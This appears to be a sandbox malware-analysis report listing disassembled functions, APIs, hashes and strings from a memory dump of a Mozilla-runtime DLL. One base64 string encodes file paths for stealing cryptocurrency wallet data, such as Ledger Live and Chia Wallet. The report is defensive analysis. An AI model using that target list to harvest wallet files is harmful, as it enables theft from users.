Instruction ID: 456704e5a5093136b2a975ed97f9613111bbe6aa7c622313ab5a65497648a45c
Opcode Fuzzy Hash: a2339410b0e0282adafe92224de1a1d33bfe91c8b506429cee5323c728e3908d
Instruction Fuzzy Hash: BFE08CE2A0111037F514229ABC86DBB761DDBC6534F080039FE0D82341EA4ABD1A51FB

Function 6C5605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef22dde1784b6ec97d31f8121dd7ca98876b12c77ab7bd435009ded7c7fa7bc2
Instruction ID: 277256c8ba1064b4e9900335f3c83959576a6718c5e6bd394e8c829586665efb
Opcode Fuzzy Hash: ef22dde1784b6ec97d31f8121dd7ca98876b12c77ab7bd435009ded7c7fa7bc2
Instruction Fuzzy Hash: B2A138B0A01745CFDB14CF29C994A9AFBF1BF89304F44866AD44A97B10E770BA85CF94

Function 6C5B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5B14E2
GetCurrentThreadId.KERNEL32 ref: 6C5B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C5B15BA
free.MOZGLUE(?), ref: 6C5B16B4

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 2cc96c721cb6f0080f48ca8d3388eb69ecec75b0a5d26629d4b8972b3ff75a98
Instruction ID: 916433b2d63265641677d793e0c42e0674c16c1ebc7be5f84c6d8a12432a2065
Opcode Fuzzy Hash: 2cc96c721cb6f0080f48ca8d3388eb69ecec75b0a5d26629d4b8972b3ff75a98
Instruction Fuzzy Hash: 8761CD71A00700DBDB118F61CC90B9EBBB5BF89308F45851CED8A67641EB30E959CB95

Function 6C5A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A9FDB
free.MOZGLUE(?,?), ref: 6C5A9FF0
free.MOZGLUE(?,?), ref: 6C5AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5AA0BE
free.MOZGLUE(?,?), ref: 6C5AA0D5
free.MOZGLUE(?,?), ref: 6C5AA0EB

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: b49406987bcdcd6320902288aea77118a5231c3449c1e7eaf9caaad2d8fc62b5
Instruction ID: db2ca6a9840b6b079d633b79d94b59a743991dcc68b063d79ee30f91d380800b
Opcode Fuzzy Hash: b49406987bcdcd6320902288aea77118a5231c3449c1e7eaf9caaad2d8fc62b5
Instruction Fuzzy Hash: FB61AF75408641DFC711CF59C88055AB3F5FFC8328F548659EC999B602EB32E986CBD1

Function 6C5ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5AD38A,?), ref: 6C5ADC6F
free.MOZGLUE(?,?,?,?,?,6C5AD38A,?), ref: 6C5ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5AD38A,?), ref: 6C5ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5AD38A,?), ref: 6C5ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5AD38A,?), ref: 6C5ADD4A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d445dde5904d4cb260a940f8fe75a5c5e0263f8b4b781aad5ada810068a7f6a3
Instruction ID: 6abec99261fda1b03488a614121e9a76ec5448789e5a86a6bfdcc97623e90b78
Opcode Fuzzy Hash: d445dde5904d4cb260a940f8fe75a5c5e0263f8b4b781aad5ada810068a7f6a3
Instruction Fuzzy Hash: AA4147B5A00605DFCB00DF9AC884A9EB7B6FF88314B654569DD45ABB11D731FC41CB90

Function 6C5AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5AC842

Part of subcall function 6C5ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C5CB5EB,00000000), ref: 6C5ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5AC863
std::_Facet_Register.LIBCPMT ref: 6C5AC875

Part of subcall function 6C58B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C5CB636,?), ref: 6C58B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AC8BC

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 710e7888fe22487eee7a33a1458073ab4a6c725db3c29d035cc2ff9b4db9d5f7
Instruction ID: c77659c18e4aaf078c9bd5100a27a8adc3e0b70fd8e09741db6e838c763bcc4b
Opcode Fuzzy Hash: 710e7888fe22487eee7a33a1458073ab4a6c725db3c29d035cc2ff9b4db9d5f7
Instruction Fuzzy Hash: F1116375B003099BCB04FFA5CC859AE7B75FF89355B110129E50697341DB31BD05CB99

Function 6C5ACCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5ACDA4

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

Part of subcall function 6C5AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5ACDBA,00100000,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5AD158
Part of subcall function 6C5AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5ACDBA,00100000,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5ACDC4

Part of subcall function 6C5A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C5B15FC,?,?,?,?,6C5B15FC,?), ref: 6C5A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5ACECC

Part of subcall function 6C56CA10: mozalloc_abort.MOZGLUE(?), ref: 6C56CAA2

Part of subcall function 6C59CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5ACEEA,?,?,?,?,00000000,?,6C59DA31,00100000,?,?,00000000), ref: 6C59CB57
Part of subcall function 6C59CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C59CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5ACEEA,?,?), ref: 6C59CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C59DA31,00100000,?,?,00000000,?), ref: 6C5AD058

Strings

ZXNzaW9uIFN0b3JhZ2V8MXxcTGVkZ2VyIExpdmVcU2Vzc2lvbiBTdG9yYWdlXHwqLip8MHxDaGlhIFdhbGxldFxjb25maWd8MnxcLmNoaWFcbWFpbm5ldFxjb25maWdcfCouKnwwfENoaWEgV2FsbGV0XHJ1bnwyfFwuY2hpYVxtYWlubmV0XHJ1blx8Ki4qfDB8Q2hpYSBXYWxsZXRcd2FsbGV0fDJ8XC5jaGlhXG1haW5uZX, xrefs: 6C5ACD2C

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: ZXNzaW9uIFN0b3JhZ2V8MXxcTGVkZ2VyIExpdmVcU2Vzc2lvbiBTdG9yYWdlXHwqLip8MHxDaGlhIFdhbGxldFxjb25maWd8MnxcLmNoaWFcbWFpbm5ldFxjb25maWdcfCouKnwwfENoaWEgV2FsbGV0XHJ1bnwyfFwuY2hpYVxtYWlubmV0XHJ1blx8Ki4qfDB8Q2hpYSBXYWxsZXRcd2FsbGV0fDJ8XC5jaGlhXG1haW5uZX
API String ID: 861561044-3516481516
Opcode ID: b3cfe2f42b446f2b8de510897152de5add1811c4c6b32c900863169d23583466
Instruction ID: 6d5ebdd84b00d76f32ab54b47628c72df333126d3838ccbe5ea79abbf77e333c
Opcode Fuzzy Hash: b3cfe2f42b446f2b8de510897152de5add1811c4c6b32c900863169d23583466
Instruction Fuzzy Hash: E5D16F71A04B46DFD708DF29C880B99F7E1BF89308F01866DD9598B711EB31B9A5CB81

Function 6C58F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C58F480

Part of subcall function 6C55F100: LoadLibraryW.KERNEL32(shell32,?,6C5CD020), ref: 6C55F122
Part of subcall function 6C55F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C55F132

CloseHandle.KERNEL32(00000000), ref: 6C58F555

Part of subcall function 6C5614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C561248,6C561248,?), ref: 6C5614C9
Part of subcall function 6C5614B0: memcpy.VCRUNTIME140(?,6C561248,00000000,?,6C561248,?), ref: 6C5614EF

Part of subcall function 6C55EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C55EEE3

CreateFileW.KERNEL32 ref: 6C58F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C58F523

Strings

\oleacc.dll, xrefs: 6C58F4CB

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: cc2c91407dfb115ec71bf50baae2fbfd30e16622f629dff97f8a36cc34bf4fbe
Instruction ID: 593cd01af10d166aca9341a1eea2dfa87ebcf97445d41f16a8fbae75deebd56b
Opcode Fuzzy Hash: cc2c91407dfb115ec71bf50baae2fbfd30e16622f629dff97f8a36cc34bf4fbe
Instruction Fuzzy Hash: 0C4191306097209FE720DF69DC84A9BB7F4AF88318F500B1CE59193691EB70E9498B96

Function 6C59E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59E04F

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C59E057

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: df40990647dff8df568b9d9357c71756dd3de9aa6bffa75051493b3fcf8b48ea
Instruction ID: ce8e1ab63b5ffc6b1bd2492dbae59147b4f1e8b9a85fc681d0e30d75ea069854
Opcode Fuzzy Hash: df40990647dff8df568b9d9357c71756dd3de9aa6bffa75051493b3fcf8b48ea
Instruction Fuzzy Hash: F121CF74B012488FDF00EF64DC58AAEBBB9BF85308F150468E90A97740DB71AD09C7E6

Function 6C5B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C5B7526
__Init_thread_footer.LIBCMT ref: 6C5B7566
__Init_thread_footer.LIBCMT ref: 6C5B7597

Strings

kernel32.dll, xrefs: 6C5B7557
UnmapViewOfFile2, xrefs: 6C5B7552

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 36881241e01e90e881f249478c28a1d26d2af1511b5fe404f15fc8023b203993
Instruction ID: c2285e0436981d155c918e5a46211f80797184db2f74c902a36ed924dea3077b
Opcode Fuzzy Hash: 36881241e01e90e881f249478c28a1d26d2af1511b5fe404f15fc8023b203993
Instruction Fuzzy Hash: 06210731701701D7CA14CFE8CC64EDD7BB6EB867A5F164629E405A7B80DB31B90186AE

Function 6C5BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DF770,-00000001,?,6C5CE330,?,6C57BDF7), ref: 6C5BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C57BDF7), ref: 6C5BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C57BDF7), ref: 6C5BA7E4
LeaveCriticalSection.KERNEL32(6C5DF770), ref: 6C5BA80A

Strings

accelerator.dll, xrefs: 6C5BA7BF

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 3da2eccaed01a4233408d085d8703d595351bf58046756aca8622f81f7c2c73c
Instruction ID: 747b0623e1e7f0adb6fe9b958aa381662682183a211f0db6f1dd8aa6ab0401aa
Opcode Fuzzy Hash: 3da2eccaed01a4233408d085d8703d595351bf58046756aca8622f81f7c2c73c
Instruction Fuzzy Hash: 5601ADB07043049FDF08DF9ADC94C917BB8FB8A315706816AE8098B712DB70BC00CBA9

Function 6C5B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5B748B,?), ref: 6C5B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5B75D7
FreeLibrary.KERNEL32(?,6C5B748B,?), ref: 6C5B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C5B75D1
ntdll.dll, xrefs: 6C5B75B3

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 6aae706473c0560f1107f09c9691f178758e5082f329ac66c0a7a298924ed0e6
Instruction ID: d9e4f6ef176e6d883bb66820357a97321187293a0c6fba311f2c4b7354eb3351
Opcode Fuzzy Hash: 6aae706473c0560f1107f09c9691f178758e5082f329ac66c0a7a298924ed0e6
Instruction Fuzzy Hash: 20E0B671600302ABEF006FE6CD487817EF9EB46259F128625A925D6681EBB0B042CF1C

Function 6C5B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5B7592), ref: 6C5B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C5B7627
FreeLibrary.KERNEL32(?,6C5B7592), ref: 6C5B763C

Strings

ntdll.dll, xrefs: 6C5B7603
NtUnmapViewOfSection, xrefs: 6C5B7621

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 2a499774d7b489d75c2f7d3cc8e4a9347f672736ccf9c683182837a46f3a2022
Instruction ID: 218c92eeaa888757429c39dc9897fad5e7046d3c8edacdad346d18bb10f4ce20
Opcode Fuzzy Hash: 2a499774d7b489d75c2f7d3cc8e4a9347f672736ccf9c683182837a46f3a2022
Instruction Fuzzy Hash: 48E0B6B0600342ABDF006FAADC087857EB9EB1A399F024615E905D2740EBB0B0048F1C

Function 6C5BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C5BBE49), ref: 6C5BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C5BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C5BBE49), ref: 6C5BBF38
RtlReAllocateHeap.NTDLL ref: 6C5BBF83
RtlFreeHeap.NTDLL ref: 6C5BBFA6

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 11da76a4447743934bdc4d17996081f34efafddac16a970529865b176bf80e54
Instruction ID: ced51035ff597901b583589e700fd4f926d67ef5f35d6cef46c59500c38d3232
Opcode Fuzzy Hash: 11da76a4447743934bdc4d17996081f34efafddac16a970529865b176bf80e54
Instruction Fuzzy Hash: 82519C71A002058FE714DF69CCD0BAABBA2FFC8314F294629D555A7B94D770F9068B81

Function 6C5A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?,6C5CD734), ref: 6C5A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?,6C5CD734), ref: 6C5A8EBF
free.MOZGLUE(?,?,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?), ref: 6C5A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?,6C5CD734), ref: 6C5A8F46
free.MOZGLUE(?,?,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?), ref: 6C5A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?), ref: 6C5A8F8F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 297b101fca2780796abd7e4e2f47ddaa40299daa1f6ccc47cd29f21d5dbe1084
Instruction ID: ade87fc7c90bb9c14684877bd721e6c1aff6ea87f509d36b94dfc62fe199d47f
Opcode Fuzzy Hash: 297b101fca2780796abd7e4e2f47ddaa40299daa1f6ccc47cd29f21d5dbe1084
Instruction Fuzzy Hash: B251A3B1A012568FEB14CF94DC8076EB7B2FF48318F15056AD916AB740E731F946CB92

Function 6C5A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A289A
free.MOZGLUE(?,?,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A2910
free.MOZGLUE(00000001,?,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A293C
